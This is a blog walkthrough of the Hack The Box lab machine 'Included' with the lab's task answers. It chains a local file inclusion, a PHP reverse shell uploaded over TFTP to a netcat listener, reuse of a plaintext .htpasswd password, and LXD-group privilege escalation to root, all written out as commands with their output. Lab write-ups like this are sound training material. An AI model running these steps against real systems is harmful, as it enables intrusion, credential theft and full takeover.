#16 Included - Starting Point - Hack The Box || Complete Walkthrough



Included is a machine that teaches some more enumeration techniques, even on a different transport layer protocol, and it also teaches that every penetration tester sometimes needs to use Google to see how to perform certain tasks.


Enumeration

Click on Spawn machine to find out the target IP address:


As always, we begin by scanning the target for open ports:

┌──(mrdev㉿mrdev)-[~]
└─$ nmap -sC -sV 10.129.12.38
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-29 13:53 IST
Nmap scan report for 10.129.12.38
Host is up (0.22s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.129.12.38/?file=home.php  
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.15 seconds 
┌──(mrdev㉿mrdev)-[~] 
└─$

The scan shows only port 80 TCP open, which seems to be running Apache version 2.4.29 . Let's navigate to port 80 using the browser:

The webpage features the landing page for a Gear manufacturing company. It does not seem to contain anything of interest, however, if we take a look at the URL we can see that this has automatically changed to this URL.

http://{Target IP}/?file=home.php

This is a common way that developers use to dynamically load pages in a website and if not programmed correctly it can often lead to the webpage being vulnerable to Local File Inclusion(LFI), but more about that in a bit.


Local File Inclusion (LFI)

This article discusses Local File Inclusion (LFI), a common web vulnerability that allows attackers to include files on a server through web applications. It explains how LFI attacks work, their impact, and best practices to prevent them.


Local File Inclusion (LFI)

We can easily determine if this is the case by attempting to load a file that we know definitely exists on the system and is readable by all users. One of those files is /etc/passwd and to load it, change the file parameter from home.php to /etc/passwd . For consistency reasons, we will show this process with the cURL command-line utility instead of a browser.

┌──(mrdev㉿mrdev)-[~]
└─$ curl 'http://10.129.12.38/?file= /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin 
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin   
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin 
lxd:x:105:65534::/var/lib/lxd/:/bin/false  
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
mike:x:1000:1000:mike:/home/mike:/bin/bash
tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin
┌──(mrdev㉿mrdev)-[~]
└─$

This is successful and a list of users is returned. It is worth noting that inputting /etc/passwd might not always work if the inclusion already specifies a working directory.


TFTP (Trivial File Transfer Protocol)

Back to the task at hand, while a Local File Inclusion is a great way to gather information and read system files the goal of every Penetration Tester is to achieve Remote Code Execution on a system. There are a plethora of ways that an LFI can turn into RCE, from log poisoning to plaintext passwords in configuration files and forgotten backups, however in this case the passwd file gave us a big hint as to how to proceed. 

The last user that is listed is called TFTP.

tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin

A quick Google search reveals that 

Trivial File Transfer Protocol (TFTP) is a simple protocol that provides a basic file transfer function with no user authentication. TFTP is intended for applications that do not need the sophisticated interactions that File Transfer Protocol (FTP) provides.

It is also revealed that TFTP uses the User Datagram Protocol (UDP) to communicate. This is defined as a lightweight data transport protocol that works on top of IP.


Enumerate UDP ports using Nmap

To this end let's use Nmap to scan for open UDP ports. It is worth noting that a UDP scan takes a considerably longer time to complete compared to a TCP scan and it also requires superuser privileges.

┌──(mrdev㉿mrdev)-[~] 
└─$ sudo nmap -sU 10.129.12.38 
[sudo] password for mrdev:
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-29 14:08 IST 
Nmap scan report for 10.129.12.38
Host is up (0.35s latency).
Not shown: 998 closed udp ports (port-unreach)
PORT   STATE         SERVICE 
68/udp open|filtered dhcpc
69/udp open|filtered tftp  
Nmap done: 1 IP address (1 host up) scanned in 1059.15 seconds  
┌──(mrdev㉿mrdev)-[~]
└─$

The scan reveals that port 69 UDP is open and an instance of the TFTP server is running on it. 


Installing TFTP

In order to communicate with TFTP, we need to install it on our Linux machine.

# sudo apt-get install tftp

Once the tool is installed its manual page can assist with its usage.

# man tftp


Foothold


Acquiring Server Foothold via TFTP and File Traversal Vulnerability

TFTP works by default without the need for authentication. That means that anyone can connect to the TFTP server and upload or download files from the remote system. 

We can chain this with the LFI vulnerability that we have already identified, in order to upload malicious PHP code to the target system that will be responsible for returning a reverse shell to us. We will then access this PHP file through the LFI and the webserver will execute the PHP code. 

We can either create our own PHP code or use one of the many available PHP reverse shells that can be found online through a Google search. Click here.

 

PHP Reverse Shell

This repository contains a PHP script for generating a reverse shell. Reverse shells are commonly used in penetration testing and security assessments to gain remote access to a system. This PHP script can be used to establish a reverse shell connection to a target machine.


Clone the Php-reverse shell and Copy the mrdev home directory.

┌──(mrdev㉿mrdev)-[~]
└─$ git clone https://github.com/pentestmonkey/php-reverse-shell.git
┌──(mrdev㉿mrdev)-[~]
└─$ sudo cp php-reverse-shell/php-reverse-shell.php .
┌──(mrdev㉿mrdev)-[~]
└─$

Then open it using a text editor such as Nano or vim and edit the IP and Port.

┌──(mrdev㉿mrdev)-[~]
└─$ sudo nano php-reverse-shell.php
The port variable specifies the local port that we will use to catch the reverse shell. This can be anything we want as long as it is not already being used by a local process. Let's leave it to 1234. The IP variable specifies the local IP address that the shell will be returned to. We can acquire this IP from OpenVPN.

After acquiring the local IP, change it in the PHP shell and save it. Then we will upload the file to the remote TFTP server.

┌──(mrdev㉿mrdev)-[~]
└─$ tftp 10.129.12.38       # Connect the server using tftp
tftp> ?          # Print help information
Commands may be abbreviated.  Commands are:
connect         connect to remote tftp  
mode            set file transfer mode
put             send file  
get             receive file
quit            exit tftp
verbose         toggle verbose mode  
trace           toggle packet tracing
status          show current status
binary          set mode to octet
ascii           set mode to netascii
rexmt           set per-packet retransmission timeout
timeout         set total retransmission timeout
?               print help information
tftp> put php-reverse-shell.php       # upload the file to tftp
Sent 5686 bytes in 4.1 seconds  
tftp> 

Now that the file has been uploaded, we need to start a local Netcat listener on the port that we specified in the reverse shell, in order to catch the connection once it initiates.

Microsoft Windows [Version 10.0.19044.1288]
(c) Microsoft Corporation. All rights reserved. 
D:\netcat-win32-1.11_1\netcat-1.11> nc -lvnp 1234  
listening on [any] 1234 ... 

Finally, we must find a way to access the uploaded PHP file through the LFI but we do not know where the file is uploaded on the target system. Thinking back to the passwd file that we read earlier, the TFTP user's home folder is specified as /var/lib/tftpboot . This information can also be found with a quick Google search.

With this information let's try to load /var/lib/tftpboot/shell.php :

Once this command is run our terminal will appear stuck, however, our Netcat listener has caught a connection.

D:\netcat-win32-1.11_1\netcat-1.11> nc -lvnp 1234  
listening on [any] 1234 ...   
connect to [10.10.14.183] from (UNKNOWN) [10.129.12.38] 56754   
Linux included 4.15.0-151-generic #157-Ubuntu SMP Fri Jul 9 23:07:57 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux 
09:27:37 up 55 min,  0 users,  load average: 0.00, 0.00, 0.00   
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT  
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off    
$ whoami 
www-data

The received shell is not fully interactive, however, we can make it a bit better by using Python3:

$ python3 -c 'import pty;pty.spawn("/bin/bash")'   
www-data@included:/$ ls  
ls 
bin    dev   initrd.img      lib64       mnt   root  snap  tmp  vmlinuz
boot   etc   initrd.img.old  lost+found  opt   run   srv   usr  vmlinuz.old 
cdrom  home  lib             media       proc  sbin  sys   var   
www-data@included:/$

With access to the system as the www-data user, we do not have enough privileges to read the user flag, therefore we need to find a way to move laterally to user Mike who was also found on the passwd file.

A good place to start our enumeration would be the webserver directory as it often contains configuration files that might include passwords. The web-related files are usually stored in the /var/www/html folder, so that's where we are going to start.

www-data@included:/$ cd /var/www/html    # Change the directory to web-related files
cd /var/www/html 
www-data@included:/var/www/html$ ls -al 
ls -al  
total 88   
drwxr-xr-x 4 root     root      4096 Oct 13 19:50 .
drwxr-xr-x 3 root     root      4096 Apr 23  2021 .. 
-rw-r--r-- 1 www-data www-data   212 Apr 23  2021 .htaccess
-rw-r--r-- 1 www-data www-data    17 Apr 23  2021 .htpasswd
-rw-r--r-- 1 www-data www-data 13828 Apr 29  2014 default.css
drwxr-xr-x 2 www-data www-data  4096 Apr 23  2021 fonts
-rw-r--r-- 1 www-data www-data 20448 Apr 29  2014 fonts.css
-rw-r--r-- 1 www-data www-data  3704 Oct 13 19:50 home.php 
drwxr-xr-x 2 www-data www-data  4096 Apr 23  2021 images
-rw-r--r-- 1 www-data www-data   145 Oct 13 19:49 index.php
-rw-r--r-- 1 www-data www-data 17187 Apr 29  2014 license.txt
www-data@included:/var/www/html$ 

The folder contains two interesting hidden files, .htaccess and .htpasswd. The .htpasswd file is used to store usernames and passwords for the basic authentication of HTTP users. Let's read both files:

www-data@included:/var/www/html$ cat .htaccess  
cat .htaccess  
RewriteEngine On   
RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]
RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]  
#<Files index.php>
#AuthType Basic
#AuthUserFile /var/www/html/.htpasswd
#Require valid-user  
www-data@included:/var/www/html$ cat .htpasswd
cat .htpasswd   
mike:Sheffield19  
www-data@included:/var/www/html$

The second file contains credentials for user Mike. Oftentimes users re-use the same passwords for multiple services and accounts and compromising one of them might mean that all of them are compromised.

If user Mike has used the same password for their system account, we might be able to use the su-utility to acquire a shell with their privileges.

www-data@included:/var/www/html$ su mike
su mike  
Password: Sheffield19
mike@included:/var/www/html$ whoami 
whoami   
mike
mike@included:/var/www/html$

This is successful and the user flag is located in /home/mike:

mike@included:/var/www/html$ cd ../../.
cd ../../..  
mike@included:/$  cat /home/mike/user.txt
cat /home/mike/user.txt
****************************
mike@included:/$


Privilege escalation

The next step is escalating to the root user in order to gain the highest privileges on the system. Looking at the groups that user Mike is a member of, the lxd group is listed.

mike@included:/$ id
id
uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd) 
mike@included:/$ groups  
groups
mike lxd
mike@included:/$


lxd/lxc Group - Privilege escalation

LXD is a management API for dealing with LXC containers on Linux systems. It will perform tasks for any members of the local lxd group. It does not make an effort to match the permissions of the calling user to the function it is asked to perform.

Digging a little deeper into LXD and searching for the keywords LXD Exploit on Google reveals the following information.

A member of the local “ lxd ” group can instantly escalate the privileges to root on the host operating system. This is irrespective of whether that user has been granted sudo rights and does not require them to enter their password. The vulnerability exists even with the LXD snap package.


Learn More: 

LXD Privilege Escalation

This resource discusses LXD privilege escalation, a method used to escalate privileges on Linux systems by exploiting vulnerabilities in the LXD container hypervisor. It provides insights into the techniques and mitigations to prevent such attacks.


This is exactly what we need and this HackTricks page describes the whole exploitation process step by step. The exploit works by making use of the Alpine image, which is a lightweight Linux distribution based on a busy box. After this distribution is downloaded and built locally, an HTTP server is used to upload it to the remote system. The image is then imported into LXD and it is used to mount the Host file system with root privileges.

Let's begin by installing the Go programming language as well as some other required packages.

sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools

Then we must clone the LXC Distribution Builder and build it.

git clone https://github.com/lxc/distrobuilder
cd distrobuilder
make

After the build is complete let's download the Alpine YAML file and build it:

┌──(mrdev㉿mrdev)-[~/distrobuilder]
└─$ mkdir -p $HOME/ContainerImages/alpine 
┌──(mrdev㉿mrdev)-[~/distrobuilder] 
└─$ cd $HOME/ContainerImages/alpine
┌──(mrdev㉿mrdev)-[~/ContainerImages/alpine]
└─$ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
--2021-12-29 15:19:33--  https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15227 (15K) [text/plain]
Saving to: ‘alpine.yaml’
alpine.yaml                 100%[========================================>]  14.87K  --.-KB/s    in 0.02s
2021-12-29 15:19:34 (614 KB/s) - ‘alpine.yaml’ saved [15227/15227]
┌──(mrdev㉿mrdev)-[~/ContainerImages/alpine]
└─$ sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
[sudo] password for mrdev:
INFO[2021-12-29T15:20:54+05:30] Downloading source  
/tmp/distrobuilder/alpinelinux-3.8-x86_64/alpine-minirootfs-3.8.0-x86_64.tar.gz: 100% (334.10kB/s)
/tmp/distrobuilder/alpinelinux-3.8-x86_64/alpine-minirootfs-3.8.0-x86_64.tar.gz.asc: 100% (203.17MB/s)
gpg: Signature made Tue 26 Jun 2018 07:54:34 PM IST
<SNIP>

Once the build is done lxd.tar.xz and rootfs.squashfs will be available in the same folder:

┌──(mrdev㉿mrdev)-[~/ContainerImages/alpine]
└─$ ls 
alpine.yaml  lxd.tar.xz  rootfs.squashfs 
┌──(mrdev㉿mrdev)-[~/ContainerImages/alpine]  
└─$

Sorry to say but we can't transfer these files from here, so first we have to send these files to the XAMPP server on Windows and then start the Apache server.

We will now have to transfer these files to the system through the usage of a Python HTTP server. Run the following command locally on the same folder:

┌──(mrdev㉿mrdev)-[~/ContainerImages/alpine]  
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Download   lxd.tar.xz   and rootfs.squashfs files. Once the download is complete move them to C:\xampp\htdocs .

Now start the Apache server:

Switch back to the reverse shell on the target system and download the files.

Note: As shown previously the local IP can be acquired through the ifconfig command-line utility.

mike@included:/$ cd /tmp
cd /tmp
mike@included:/tmp$ wget http://10.10.14.183:8080/lxd.tar.xz
wget http://10.10.14.183:8080/lxd.tar.xz
--2021-12-29 10:32:08--  http://10.10.14.183:8080/lxd.tar.xz
Connecting to 10.10.14.183:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 868 [application/x-xz]
Saving to: ΓÇÿlxd.tar.xzΓÇÖ  
lxd.tar.xz          100%[===================>]     868  --.-KB/s    in 0s
2021-12-29 10:32:10 (96.6 MB/s) - ΓÇÿlxd.tar.xzΓÇÖ saved [868/868]
mike@included:/tmp$ wget http://10.10.14.183:8080/rootfs.squashfs
wget http://10.10.14.183:8080/rootfs.squashfs
--2021-12-29 10:32:41--  http://10.10.14.183:8080/rootfs.squashfs
Connecting to 10.10.14.183:8080... connected.  
HTTP request sent, awaiting response... 200 OK  
Length: 2015232 (1.9M) 
Saving to: ΓÇÿrootfs.squashfsΓÇÖ    
rootfs.squashfs     100%[===================>]   1.92M   143KB/s    in 24s
2021-12-29 10:33:06 (80.8 KB/s) - ΓÇÿrootfs.squashfsΓÇÖ saved [2015232/2015232]
mike@included:/tmp$

Once the transfer finishes, use the ls command to confirm the files transferred successfully:

mike@included:/tmp$ ls -al
ls -al 
total 1980
drwxrwxrwt  2 root root    4096 Dec 29 10:32 .
drwxr-xr-x 24 root root    4096 Oct 11 13:11 ..
-rw-rw-r--  1 mike mike     868 Dec 29 10:10 lxd.tar.xz
-rw-rw-r--  1 mike mike 2015232 Dec 29 10:10 rootfs.squashfs
mike@included:/tmp$

The next step is to import the image using the LXC command-line tool:

mike@included:/tmp$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
<ge import lxd.tar.xz rootfs.squashfs --alias alpine
mike@included:/tmp$

To verify that the image has been successfully imported we can list the LXD images:

mike@included:/tmp$ lxc image list  
lxc image list
+--------+--------------+--------+----------------------------------------+--------+--------+-------------------------------+
| ALIAS  | FINGERPRINT  | PUBLIC |              DESCRIPTION               |  ARCH  |  SIZE  |          UPLOAD DATE          |
+--------+--------------+--------+----------------------------------------+--------+--------+-------------------------------+
| alpine | 82af3b694def | no     | Alpinelinux 3.8 x86_64 (20211229_0950) | x86_64 | 1.92MB | Dec 29, 2021 at 10:34am (UTC) |
+--------+--------------+--------+----------------------------------------+--------+--------+-------------------------------+
mike@included:/tmp$

Alpine is correctly shown in the image list. We must now set the security.privileged flag to true, so that the container has all of the privileges that the root file system has. We will also mount the root file system on the container in the /mnt folder.

mike@included:/tmp$ lxc init alpine privesc -c security.privileged=true
lxc init alpine privesc -c security.privileged=true 
Creating privesc
mike@included:/tmp$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
<st-root disk source=/ path=/mnt/root recursive=true
Device host-root added to privesc
mike@included:/tmp$ lxc start privesc  
lxc start privesc
mike@included:/tmp$ lxc exec privesc /bin/sh
lxc exec privesc /bin/sh
~ # ←[6n        Finally, we can start the container and start a root shell inside it.

To access the root flag, we can navigate to the /mnt/root/root folder.

~ # ←[6n id
id 
uid=0(root) gid=0(root)
~ # ←[6n cd /mnt/root/root 
cd /mnt/root/root
/mnt/root/root # ←[6n cat root.txt
cat root.txt  
c**************************f 

We successfully got the flag, congratulations!


TASK Solutions


TASK 1: What service is running on the target machine over UDP?

Ans. TFTP

TASK 2: What class of vulnerability is the webpage that is hosted on port 80 vulnerable to?

Ans. Local File Inclusion

TASK 3: What is the default system folder that TFTP uses to store files?

Ans. /var/lib/tftpboot/

TASK 4: Which interesting file is located in the web server folder and can be used for Lateral Movement?

Ans. .htpasswd

TASK 5: What is the group that user Mike is a part of and can be exploited for Privilege Escalation?

Ans. LXD

TASK 6: When using an image to exploit a system via containers, we look for a very small distribution. Our favorite for this task is named after mountains. What is that distribution name?

Ans. alpine

TASK 7: What flag do we set to the container so that it has root privileges on the host system?

Ans. security.privileged=true

TASK 8: If the root filesystem is mounted at /mnt in the container, where can the root flag be found on the container after the host system is mounted?

Ans. /mnt/root/

Post a Comment

0 Comments
* Please Don't Spam Here. All the Comments are Reviewed by Admin.

#buttons=(Ok, Go it!) #days=(20)

Our website uses cookies to enhance your experience. Learn More
Ok, Go it!